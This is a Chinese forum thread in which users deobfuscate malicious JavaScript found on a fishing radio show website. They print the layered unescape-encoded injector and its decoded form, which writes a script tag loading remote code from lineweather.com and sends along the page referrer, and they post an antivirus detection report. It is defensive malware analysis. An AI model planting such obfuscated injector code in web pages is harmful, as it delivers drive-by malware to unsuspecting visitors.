http://theletsgofishingradioshow.com/gallery/albums/album02/z9z9fa8kk/

哀酱俏佳人

有个加密的unescape

dayangyang

第一段unescape自定义了一个加密的函数wqu

1. <script>
   
2.     function wqu(rov) {
   
3.         var cri = unescape(rov.substr(0, rov.length - 1));
   
4.         var zko = '';
   
5.         for (t = 0; t < cri.length; t++) zko += String.fromCharCode(cri.charCodeAt(t) - rov.substr(rov.length - 1, 1));
   
6.         document.write(zko);
   
7.     };
   
8. </script>

复制代码

用在第二段上
里面还是个unescape

1. <script>
   
2.     document.write(unescape('%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%27%2B%27%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%69%6E%65%77%65%61%74%68%65%72%2E%63%6F%6D%2F%63%67%69%2D%62%69%6E%2F%77%65%61%74%68%65%72%2E%70%6C%3F%69%64%3D%37%38%36%34%31%36%26%6B%3D%6E%6F%72%74%68%77%65%73%74%65%72%6E%2B%63%6F%6C%6C%65%67%65%2B%6F%66%2B%68%65%61%6C%74%68%2B%73%63%69%65%6E%63%65%73%26%72%65%66%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%72%65%66%65%72%72%65%72%29%2B%27%22%3E%3C%2F%73%63%27%2B%27%72%69%70%74%3E%27%29%3B%3C%2F%73%63%72%69%70%74%3E'));
   
3. </script>

复制代码

这个再解密
是

1. <script>
   
2.     document.write('<sc' + 'ript src="http://lineweather.com/cgi-bin/weather.pl?id=786416&k=northwestern+college+of+health+sciences&ref=' + escape(document.referrer) + '"></sc' + 'ript>');
   
3. </script>

复制代码

http://lineweather.com/cgi-bin/w ... th+sciences&ref
会跳转到
ww5.lineweather.com/cgi-bin/weather.pl?id=786416&k=northwestern+college+of+health+sciences&ref=

ww5.lineweather.com显示被google列入了黑名单了

另外 http://theletsgofishingradioshow ... bums/album02/XXXXXX都是一样的哦
如
http://theletsgofishingradioshow ... /album02/z9z9fa8kk/
http://www.theletsgofishingradio ... s/album02/xzokca3d8

哀酱俏佳人

dayangyang 发表于 2013-6-18 14:44
第一段unescape自定义了一个加密的函数wqu用在第二段上
里面还是个unescape这个再解密
是http://lineweat ...

最讨厌加密了

ywsuda

安全威脅:        HTML_RENOS.SMS
來源類型:        安全威脅
受影響的檔案:        C:\Users\ywblue\AppData\Local\Mic…\z9z9fa8kk[1].htm
處理行動:        已移除
偵測方式:        即時掃瞄